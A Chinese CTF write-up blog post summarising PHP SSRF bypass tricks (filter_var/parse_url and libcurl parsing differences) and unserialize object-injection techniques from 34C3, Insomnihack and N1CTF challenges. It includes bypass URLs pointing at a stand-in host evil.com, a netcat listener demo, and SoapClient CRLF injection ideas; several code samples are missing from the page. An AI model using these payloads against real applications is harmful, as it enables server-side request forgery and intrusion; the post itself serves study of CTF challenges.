在ssrf中的一些技巧和在非工业化中的技巧

96
合天智汇
2018.03.21 14:41 字数 1799

本文为合天智汇原创奖励投稿,未经允许,严禁转载

1、前言

最近参加了一些比赛,也看了一些国外比赛的题解文章,感觉学到很多东西,于是在此总结一下


2、some trick in ssrf

2.1  trick1 filter_var() bypass

之前看到一篇文章,觉得写得很不错,于是在此总结一下

比如说如下代码

我们能够进行ssrf吗?

首先看一下filter_var()的作用

比较常见的选项有:

FILTER_VALIDATE_EMAIL 检查是否为有效邮箱

FILTER_VALIDATE_URL 检查是否为有效url

这里我们的过滤显然是检查是否为有效url

简单尝试一下:

http://localhost/web/test/22.php?url=http://skysec.top

得到回显


再试一个:

http://localhost/web/test/22.php?url=http://skysec;

得到回显:

很显然后者不符合url的匹配要求

那么我们再来看最开始的代码


1.filter_var对url进行check

2.parse_url获取url的host

3.对host进行正则匹配,判断是否以skysec.top结尾


那么这样可能存在ssrf吗?

文章:https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

中提到了一种方法,我觉得学习到一手:

我们可以访问

http://localhost/web/test/22.php?url=0://evil.com:80,skysec.top:80/

http://localhost/web/test/22.php?url=0://evil.com:23333;skysec.top:80/

当使用了exec()函数,例如样题代码中exec('curl -v -s "'.$r['host'].'"', $a);时

可以使用

http://localhost/web/test/22.php?url=0://evil$skysec.top

这样都可以绕过检测,达到请求任意ip,任意端口的目的

不妨测试:

我们将上述代码放在自己的vps上:

1.监听23333端口:

root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)


访问

http://vps_ip/testsky/index.php?url=0://vps_ip:23333;skysec.top:80/


可以在监听中收到:

Connection from [vps_ip] port 23333 [tcp/*] accepted (family 2, sport 37996)

GET / HTTP/1.1

Host: vps_ip:23333

User-Agent: curl/7.47.0

Accept: */*

发现成功请求到我们指定的ip:port

2.2  trick2 libcurl and parse_url()

这个点是在34c3中的一道题中学到的

首先列出参考链接:

http://www.freebuf.com/articles/web/159342.html

https://www.jianshu.com/p/ef6cf8665a64


个人认为这两篇文章分析的很透彻,其中ssrf的trick在于

parse_url与libcurl对curl的解析差异

测试环境为

php 7.0

libcurl 7.52

匹配规则

php parse_url:

host: 匹配最后一个@后面符合格式的host


libcurl:

host:匹配第一个@后面符合格式的host


比如如下url:

http://u:p@a.com:80@b.com/


php解析结果:


而libcurl解析结果:

那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题

我们假设一个环境:

1.利用curl对用户给出ip进行访问并获取内容

2.为防止ssrf,我们利用parse_url进行解析,设置waf

那么就以刚才的url为例:http://u:p@a.com:80@b.com/

如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip

而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip

当然34c3的这题可以学到的知识远远多于这一点,有兴趣的可以去搭建一下环境,题目已开源:

https://github.com/eboda/34c3ctf/tree/master/extract0r

3、some trick in unserialize()

3.1  trick1 Method with the same name

这个方法是来自于Insomnihack Teaser 2018 / File Vault

首先给出官方的题解

https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

其中关键代码如下

由于str_replace的存在,我们可以破坏序列化对象,并引入恶意代码

举个例子

我们有

可以得到序列化结果

如果我们正常反序列化,得到的是:

但经过str_replace()后得到

此时反序列化后的结果为

我们发现Sky这个点现在完全可以注入新的代码

这是为什么呢?

我们关注str_replace()之前的序列化结果

此时的s:39刚好为:../../../../../../../../../../../../../

而经过str_replace后

此时的s:39并没有变,但是内容发生了变化:


./././././././././././././";i:1;s:15:"A


可以发现,我们成功的吞掉了后面的值,导致可以构造注入

既然可以构造对象注入,那我们看这段代码

我们可以发现,对于UploadFile,我们是无可奈何的

但是我们是可以构造对象注入的,那么有没有其他对象也有同名的函数呢?

运行脚本不难发现

拥有同名函数open()的类有4个

而在file-vault这道题目中ZipArchive->open()可以用来删除文件.htaccess,以便可以运行小马

所以最后由于str_replace的原因,我们成功进行了对象注入,以其他拥有同名函数的对象,完成了意想不到的操作


3.2  Magic Method call()

这个trick来自于刚结束的N1CTF的hard php

题目需要使用ssrf,但是整个题目就只有2个漏洞点:

1.sql注入

2.伪造任意的php内置类


sql注入显然在这道题里只是用来获取管理员密码的,与SSRF无关

那么看来SSRF就是在伪造任意的php内置类了

题目中可控并且可进行反序列化的类为

经过上一个trick点,我们可以知道不可能存在某个同名函数getcountry()拥有ssrf的能力的

但此时,我们查阅相关手册可以发现:

在对象中调用一个不可访问方法时,__call() 会被调用

而此时我们可以发现php内置类:SoapClient

这个类可以发送url请求,但是新的问题来了:

该类是用来发送xml的,发送的请求Content-type为Xml

我们如何才能让他伪造post数据包呢?

这里我们可以发现SoapClient的参数中有user_agent项

可以进行CRLF注入

所以最后我们可以构造soapclient对象

由此题可见,倘若我们有可控的反序列化注入点,很有可能可以构造ssrf进行攻击!

另外此题已经开源,有兴趣的可以自行搭建:

https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php

4、总结

经过一番对比,真的可以感觉出明显的差距,国际赛值得学习的点真的很多,本渣渣还需继续努力Orz,像大师傅们致敬!

最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。

日记本
Web note ad 1